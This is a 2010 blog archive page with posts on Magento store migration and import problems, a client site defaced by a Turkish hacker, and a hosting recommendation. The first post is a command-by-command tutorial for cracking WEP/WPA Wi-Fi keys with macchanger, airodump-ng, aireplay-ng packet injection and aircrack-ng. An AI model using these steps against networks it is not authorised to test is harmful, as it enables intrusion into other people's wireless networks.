Archive for the ‘Uncategorized’ Category

Ubuntu WPA WEP Cracking

Thursday, October 7th, 2010

Here is a quick tutorial to “recover” a lost wep, wpa password.

1) sudo apt-get install macchanger aircrack-ng
2) disable networking (right click on networking icon and uncheck the box for networking)
3) sudo airmon-ng stop wlan0
3) sudo ifconfig wlan0 down
4) sudo macchanger –mac 00:11:22:33:44:55
5) sudo airmon-ng start wlan0
6) sudo airodump-ng wlan0
7) Copy one of the essid’s
8) Ctrl+C to stop
9) open another terminal
10) sudo airodump-ng -c CHANNEL# -e ESSID -w filename –bssid ID# wlan0
11) open another terminal
12) sudo aireplay-ng -1 0 -a id# -h 00:11:22:33:44:55 wlan0
13) sudo aireplay-ng -3 -b id# -h 00:11…. wlan0 (leave running for 5 minutes or more)
14) aircrack-ng -b id# wifile.cap or if wpa sudo aircrack-ng -b id# -w (password file) wifile.cap
if it finds it your good.

Hacked by Iskorpitx, Now What

Saturday, September 18th, 2010

So today I was getting ready to work on a clients site, when I pulled it up and discovered the Turkish Flag.

They have been hacked, according to sites found on google, MiSource.org was one of more then 30k websites hacked yesterday by a Turkish hacker referring to themselves as ALEMiN KRALI (iSKORPiTX).

Here are the steps we followed based on those from http://www.hackedbyiskorpitx.com/ basically, reset password, restore from backup and ready to go.


<script type="text/javascript"><!--
google_ad_client = "pub-4555043934858340";
/* Caliente Ad */
google_ad_slot = "6450293560";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>

E-Commerce Webhosting, Magento Webhosting, 24 Hour Heroic Support

Friday, September 10th, 2010

Recently I was reading through the reader comments, and someone had asked what hosting company I prefer. Below, you’ll notice how much I appreciate the people at liquidweb.com.

Liquidweb has been my personal hosting company of choice for more than ten years. I’ve used many other companies off and on, and have found their support and ease of use to be superior to all others.

If you are running a personal web page and just need a little space, they have excellent plans for shared web hosting allowing you to purchase just what you need. If however, you’re an organization like mine, you’ll end up with your own dedicated server or multiple dedicated servers, even a cloud server or two, and you’ll find that the support they provide is invaluable.

Every time we’ve had an issue, no matter the time of day or day of the year, they have been there with me. Often working out kinks, quirks, and experimental software installs. On many occasions, I’ve used their support team to install add-ons and have had them recompile Apache in the wee hours of the morning so I know the updates are completed without a hitch. Last week, I had them add postgreSQL for a client, which they handled with out any issues arguments are other problems. I’ve added ImageMagick, PDO support, and so many other packages, every server very custom.

Visit them today and let them know I sent you, LiquidWeb.com

Magento Delayed Migration

Wednesday, August 25th, 2010

Weird title, I know. Here is the synopsis, you are running a Magento store and build a “sandbox” copy of the server so people can add/edit items and you can “push” them to the live server every 45 days.

Well this was far tricker than I originally thought, first I copied the db and the front-end. No problems there, now everything is the same and they can begin editing. Next they added 1k products to the sandbox, but also updated a bunch of information in the live server. So I exported all items from the live server and imported them in to the sandbox, now the sandbox has all the current updates and the new items.

1) Exported this and imported in to the live server. Crashed mysql ruined this and all my other magento stores.
2) Exported this and split in to 10 files of 200 records each and began importing, broke magento and all my other magento stores.
3) Exported, split, edited and created my own command line import program, success, partially. It imported the base information no options, no images, no cross-sell data, etc….
4) Exported a fresh copy of the sandbox with the updates, then exported a fresh copy of the live server, imported both in to new dbs. From there I deleted all catalog_ tables, all eav_ talbes, all rating tables, all review tables, all salesrule tables, all tag tables and the core_url_rewrite table. Once this was done, I copied the images from one server to the other with the -u option so only new or updated images would copy to the /media/catalog/products etc… finally I exported the tables from the sandbox db that I had just truncated in the live db, and viola … worked like a charm

Magento hates everybody, and I hate magento!!

Thursday, August 12th, 2010

So we’ve put up store after store using the magento open source e-commerce platform. I’ve had magento 1.2.1.1 – 1.4.1.1 and none of them are worth a damn when you try to import products.

At this point I’m writing a new import process that will still handle all the EAV crap, and indexing etc… maybe even use the Mage structure, but it’s going to be faster.

For now here are a couple of things you can do to increase the import process.

1) Truncate all log files, doesn’t seem like it should be tied together but whatever.
2) Truncate table datatflow_batch_export and dataflow_batch_import
3) Truncate table report_event (this is the event log basically, so you will mostl likely have these in your var/reports folder also.
4) remove cache and session values from the system, locate in var/session/ and var/cache/

I’ll update when I’ve written some new code, it’s going to be for 1.3.2.4 and 1.4.1.1 so keep an eye out.

Couple of pics I found that are fun

Thursday, August 12th, 2010